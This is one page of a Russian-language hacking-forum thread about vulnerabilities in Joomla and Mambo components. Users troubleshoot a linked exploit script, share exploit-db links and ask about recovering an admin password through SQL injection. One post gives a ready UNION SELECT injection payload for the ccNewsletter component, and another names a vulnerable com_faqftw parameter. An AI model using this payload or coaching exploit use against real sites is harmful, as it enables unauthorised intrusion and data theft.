HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов
   
Ответ
Страница 36 из 37 « Первая < 26 32 33 34 35 36 37 >
 
Опции темы Поиск в этой теме Опции просмотра

  #351  
Старый 03.04.2017, 13:32
Xeeper
Новичок
Регистрация: 06.03.2005
Сообщений: 19
С нами: 11147367

Репутация: 5
По умолчанию
Парни, подскажите пожалуйста, пытаюсь протестировать сайт с помощью следующего эксплоита:

http://pastebin.com/raw/Xs8k2cHG

Видео его работы тут:

Стоит Python 3

при попытке запуска файла с эксплоитом в интерпретаторе вылазеет ошибка:

Код:
line 48
    print get_url(i, pl)
                ^
SyntaxError: invalid syntax
Подскажите что может быть не так?
 
Ответить с цитированием

  #352  
Старый 04.04.2017, 02:44
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
Цитата:
Сообщение от Xeeper  
↑
Парни, подскажите пожалуйста, пытаюсь протестировать сайт с помощью следующего эксплоита:
http://pastebin.com/raw/Xs8k2cHG
Видео его работы тут:
Стоит Python 3
при попытке запуска файла с эксплоитом в интерпретаторе вылазеет ошибка:
Код:
line 48
    print get_url(i, pl)
                ^
SyntaxError: invalid syntax
Подскажите что может быть не так?
Оператор print был заменён функцией print(), с именованными аргументами для замены большей части синтаксиса старого оператора print

Используйте 2-ю версию python вместо 3 или перепишите код вручную под 3ю ветку
 
Ответить с цитированием

  #353  
Старый 26.04.2017, 00:21
ACat
Участник форума
Регистрация: 10.03.2017
Сообщений: 159
С нами: 4830806

Репутация: 0
По умолчанию
Парни, а если админ не заходит на сайт можно ли с помощью SQL inj попробовать востановить пароль админа?
 
Ответить с цитированием

  #354  
Старый 03.08.2017, 15:45
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами: 10095779

Репутация: 137
По умолчанию
SQL-инъекция в компоненте ccNewsletter v2.1.9

option=com_ccnewsletter&view=detail&id=73&sbid=-3094 UNION ALL SELECT NULL,NULL,CONCAT(0x7162626a71,0x4357474c4d55647264 6b43704f44476e64694f6a6d6d6873795552656d5446767846 466e63677974,0x71766b6a71),NULL,NULL,NULL,NULL,NUL L,NULL,NULL-- CCQB&tmpl=newsletter

Источник https://waf.pentestit.ru/vulns/844
 
Ответить с цитированием

  #355  
Старый 29.08.2017, 18:04
GreenGO
Постоянный
Регистрация: 02.05.2013
Сообщений: 383
С нами: 6858326

Репутация: 2
По умолчанию
Вроде не было нигде.

SQL-инъекция joomla 3.x

Компонент option=com_faqftw уязвимый параметр item
 
Ответить с цитированием

  #356  
Старый 27.11.2017, 12:06
serg1234
Новичок
Регистрация: 09.11.2017
Сообщений: 12
С нами: 4479446

Репутация: 0
По умолчанию
Цитата:
я новичек - подскажите как это использовать? )
 
Ответить с цитированием

  #357  
Старый 27.11.2017, 21:21
pritomnik
Познающий
Регистрация: 19.10.2011
Сообщений: 50
С нами: 7666166

Репутация: 0
По умолчанию
Цитата:
Сообщение от serg1234  
↑
я новичек - подскажите как это использовать? )
В 99% случаях никак) Забудь!
 
Ответить с цитированием

  #358  
Старый 28.11.2017, 10:11
serg1234
Новичок
Регистрация: 09.11.2017
Сообщений: 12
С нами: 4479446

Репутация: 0
По умолчанию
Цитата:
Сообщение от pritomnik  
↑
В 99% случаях никак) Забудь!
ну 1% надежды - это уже немало! )

в принципе скрипт этот я нашел, но он не выполняет полный перебор - делает один цикл и завершает работу - не понятно пока отчего так
 
Ответить с цитированием

  #359  
Старый 10.10.2019, 20:00
nitupme
Новичок
Регистрация: 10.10.2015
Сообщений: 17
С нами: 5575286

Репутация: 0
По умолчанию
https://www.exploit-db.com/exploits/47465 у кого нибудь сработало ?
 
Ответить с цитированием

  #360  
Старый 11.10.2019, 03:07
Pop-Xlop
Новичок
Регистрация: 26.08.2019
Сообщений: 20
С нами: 3536246

Репутация: 8
По умолчанию
Цитата:
Сообщение от nitupme  
↑
https://www.exploit-db.com/exploits/47465
у кого нибудь сработало ?
Направление показано верное, а сплойт естественно работать не будет. Да и не актуально уже станет через пару дней.
 
Ответить с цитированием
Ответ
Страница 36 из 37 « Первая < 26 32 33 34 35 36 37 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Уязвимости CMS / форумов 49 02.04.2015 17:48
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13
Cms Cawabunga PHP 20 05.08.2007 00:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.